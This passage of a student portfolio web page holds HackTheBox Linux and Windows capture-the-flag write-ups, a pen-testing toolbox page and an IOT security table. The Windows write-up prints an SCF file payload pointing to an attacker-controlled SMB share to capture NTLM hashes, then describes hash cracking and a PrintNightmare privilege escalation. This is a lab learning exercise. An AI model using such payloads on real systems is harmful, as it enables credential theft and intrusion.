"HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a 